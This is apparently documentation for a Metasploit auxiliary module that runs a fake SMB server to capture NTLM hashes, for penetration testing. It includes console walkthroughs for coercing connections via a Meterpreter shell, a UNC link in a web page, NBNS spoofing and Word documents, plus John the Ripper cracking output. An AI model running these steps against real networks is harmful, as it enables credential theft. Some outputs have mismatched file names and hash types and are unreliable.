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Smb

documentation/modules/auxiliary/server/capture/smb.md

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This module creates a mock SMB server which accepts credentials before returning NT_STATUS_LOGON_FAILURE. Supports SMBv1, SMBv2, & SMBv3 and captures NTLMv1 & NTLMv2 hashes.

Verification Steps

Microsoft provides an article on how to detect, disable, and enable SMB in various versions here, which can be useful during testing.

  1. Start msfconsole
  2. Connect DB
  3. Do: use auxiliary/server/capture/smb
  4. Do: run
  5. Connect to above server with your SMB client of choice
  6. Observe the capturing of hash
  7. creds
  8. check hash has been stored in DB correctly
  9. hosts
  10. check client IP has been added to the DB

Options

CHALLENGE

The 8 byte server challenge. If unset or not a valid 16 character hexadecimal pattern, a random challenge is used instead.

The format is 1122334455667788.

JOHNPWFILE

A file to store John the Ripper formatted hashes in. NTLMv1 and NTLMv2 hashes will be stored in separate files. I.E. the filename john will produce two files, john_netntlm and john_netntlmv2.

DOMAIN

The domain name used during smb exchange.

TIMEOUT

Seconds that the server socket will wait for a response after the client has initiated communication. This only applies to the server waiting on the client to respond with a type3 message.

Scenarios

Linux Connection via smbclient

Kali 2021.1 with smbclient 4.13.5 installed.

Server:

msf exploit(multi/handler) > use auxiliary/server/capture/smb
msf auxiliary(server/capture/smb) > set JOHNPWFILE /tmp/john
JOHNPWFILE => /tmp/john
msf auxiliary(server/capture/smb) > run
[*] Auxiliary module running as background job 1.

[+] Server is running. Listening on 0.0.0.0:445

[+] Received SMB connection on Auth Capture Server!
[SMB] NTLMv2-SSP Client   : 192.168.1.48
[SMB] NTLMv2-SSP Username : WORKGROUP\kali
[SMB] NTLMv2-SSP Hash     : kali::WORKGROUP:6ca4b2b2e5171437:f2857b13094f4a758bc448e1801dd86d:0101000000000000800fb2f5a792d70174175e23a95cd935000000000200120061006e006f006e0079006d006f00750073000100120061006e006f006e0079006d006f00750073000400120061006e006f006e0079006d006f00750073000300120061006e006f006e0079006d006f007500730007000800800fb2f5a792d70106000400020000000800300030000000000000000000000000000000d89391afb90f05c54afaef7d0bc25c7bf14aee2965d714c6fec0a626329cd8dc0a001000000000000000000000000000000000000900220063006900660073002f003100390032002e003100360038002e00380039002e00310000000000

Client:

root@Kali:~# smbclient //192.168.89.1/fake
Enter WORKGROUP\root's password: 
session setup failed: NT_STATUS_LOGON_FAILURE

Crack the Hash:

(This hash is NTLMv2)

# cat /tmp/john
kali::WORKGROUP:6ca4b2b2e5171437:f2857b13094f4a758bc448e1801dd86d:0101000000000000800fb2f5a792d70174175e23a95cd935000000000200120061006e006f006e0079006d006f00750073000100120061006e006f006e0079006d006f00750073000400120061006e006f006e0079006d006f00750073000300120061006e006f006e0079006d006f007500730007000800800fb2f5a792d70106000400020000000800300030000000000000000000000000000000d89391afb90f05c54afaef7d0bc25c7bf14aee2965d714c6fec0a626329cd8dc0a001000000000000000000000000000000000000900220063006900660073002f003100390032002e003100360038002e00380039002e00310000000000
# john /tmp/john_netntlmv2 --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
jim              (kali)
1g 0:00:00:00 DONE (2021-08-16 10:08) 5.555g/s 785066p/s 785066c/s 785066C/s katiekatie..charles14
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed

Windows XP via net use

Based off of hackers-arise.com

The idea here is we have a shell on a Windows box where we can't hashdump due to user permissions. However, we're able to do a net use to make an SMB connection back to our server to get the user's hash, then hopefully crack it.

meterpreter > hashdump
[-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.
meterpreter > background
[*] Backgrounding session 1...
msf exploit(multi/handler) > use auxiliary/server/capture/smb
msf auxiliary(server/capture/smb) > set JOPHNPWFILE /tmp/john
JOHNPWFILE => /tmp/john
msf auxiliary(server/capture/smb) > run
[*] Auxiliary module running as background job 1.

[+] Server is running. Listening on 0.0.0.0:445

msf auxiliary(server/capture/smb) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > shell
Process 892 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\test\Desktop>net use \\192.168.89.1 fake

[+] Received SMB connection on Auth Capture Server!
[SMB] NTLMv1-SSP Client     : 192.168.89.135
[SMB] NTLMv1-SSP Username   : ADAM-9256FBF58E\Administrator
[SMB] NTLMv1-SSP Hash       : Administrator::ADAM-9256FBF58E:440a272a2f9e82c9ec09d91931fa04152cef3cac3a5563d7:4a919f3243d06d6c9c14ebff4639455e294de86cbe2bb953:66092f7f74758d2f

Logon failure: unknown user name or bad password.


C:\Documents and Settings\test\Desktop>

We're now able to use John the Ripper to crack the password. As the above hash is NTLMv1, the format must be specified as

# cat /tmp/john_netntlm 
Administrator::ADAM-9256FBF58E:440a272a2f9e82c9ec09d91931fa04152cef3cac3a5563d7:4a919f3243d06d6c9c14ebff4639455e294de86cbe2bb953:66092f7f74758d2f
# john /tmp/john_netntlm --format=netlm  --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Using default target encoding: CP850
Loaded 1 password hash (netlm, LM C/R [DES 32/64])
Warning: poor OpenMP scalability for this hash type, consider --fork=8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
FAKE             (test)
1g 0:00:00:00 DONE (2019-09-25 22:28) 1.333g/s 1398Kp/s 1398Kc/s 1398KC/s 123456..LATISHA1
Use the "--show --format=netlm" options to display all of the cracked passwords reliably
Session completed

UNC in Websites Vector

One way to coax a user into creating an SMB connection is to embed it in a website

First, create the website (we're using Kali for this) with the following content:

html
<html>
  <head>
    <title>UNC Example</title>
  </head>
  <body>
    
  </body>
</html>

This file, for the example is in /var/www/html/unc.html.

Also of note, this could be done via XSS or other injection technique.

Start the webserver:

service apache2 start

Server:

msf > use auxiliary/server/capture/smb
msf auxiliary(server/capture/smb) > set JOHNPWFILE /tmp/john
JOHNPWFILE => /tmp/john
msf auxiliary(server/capture/smb) > run
[*] Auxiliary module running as background job 1.

[+] Server is running. Listening on 0.0.0.0:445

[+] Received SMB connection on Auth Capture Server!
[SMB] NTLMv1-SSP Client   : 192.168.89.135
[SMB] NTLMv1-SSP Username : ADAM-9256FBF58E\Administrator
[SMB] NTLMv1-SSP Hash     : Administrator::ADAM-9256FBF58E:e588849d18b2a64c8fd6e26a755e5f5524ffb56c273553be:718bcfd52364e9abafc5af05ee5a60c4c068e7feda9cfe64:b3c8cdb98e907d1a

Client:

Browse to the webpage.  This example is on Windows Server 2008r2 with Internet Explorer.

Crack the password:

# john /tmp/johnnbns_netntlm --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
adam             (adam)
6g 0:00:00:00 DONE (2019-09-26 16:25) 100.0g/s 614400p/s 3686Kc/s 3686KC/s dyesebel..holaz
Use the "--show --format=netntlm" options to display all of the cracked passwords reliably
Session completed

Spoofing NBNS

If the target(s) are on the local network, it's possible to conduct an nbns spoof to attract additional SMB queries to your host. This scenario will utilize auxiliary/spoof/nbns/nbns_response to conduct the spoofing. If a Windows user attempts to browse or mount a network name such as \\fake, the nbns module will respond back with the set IP.

This is based on hackingarticles.in

Server side:

msf > use auxiliary/server/capture/smb
msf auxiliary(server/capture/smb) > set JOHNPWFILE /tmp/johnnbns
JOHNPWFILE => /tmp/johnnbns
msf auxiliary(server/capture/smb) > run
[*] Auxiliary module running as background job 0.

[+] Server is running. Listening on 0.0.0.0:445
msf auxiliary(server/capture/smb) > use auxiliary/spoof/nbns/nbns_response
msf auxiliary(spoof/nbns/nbns_response) > set spoofip 192.168.89.1
spoofip => 192.168.89.1
msf auxiliary(spoof/nbns/nbns_response) > set interface eth0
interface => eth0
msf auxiliary(spoof/nbns/nbns_response) > exploit
[*] Auxiliary module running as background job 1.
msf auxiliary(spoof/nbns/nbns_response) > 
[*] NBNS Spoofer started. Listening for NBNS requests with REGEX ".*" ...
[+] 192.168.89.135    nbns - FAKE matches regex, responding with 192.168.89.1
[+] 192.168.89.135    nbns - FAKE matches regex, responding with 192.168.89.1
[+] Received SMB connection on Auth Capture Server!
[SMB] NTLMv1-SSP Client   : 192.168.89.135
[SMB] NTLMv1-SSP Username : ADAM-9256FBF58E\Administrator
[SMB] NTLMv1-SSP Hash     : Administrator::ADAM-9256FBF58E:e588849d18b2a64c8fd6e26a755e5f5524ffb56c273553be:718bcfd52364e9abafc5af05ee5a60c4c068e7feda9cfe64:b3c8cdb98e907d1a

Victim:

Open Explorer and type \\fake

Finally, Crack the password:

# john /tmp/johnnbns_netntlm --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
adam             (adam)
6g 0:00:00:00 DONE (2019-09-26 16:25) 100.0g/s 614400p/s 3686Kc/s 3686KC/s dyesebel..holaz
Use the "--show --format=netntlm" options to display all of the cracked passwords reliably
Session completed

Word Document UNC Injector

Another strategy is to create content which can entice a user to open, containing a UNC link, and thus creating an SMB connection. To accomplish this, we use auxiliary/docx/word_unc_injector.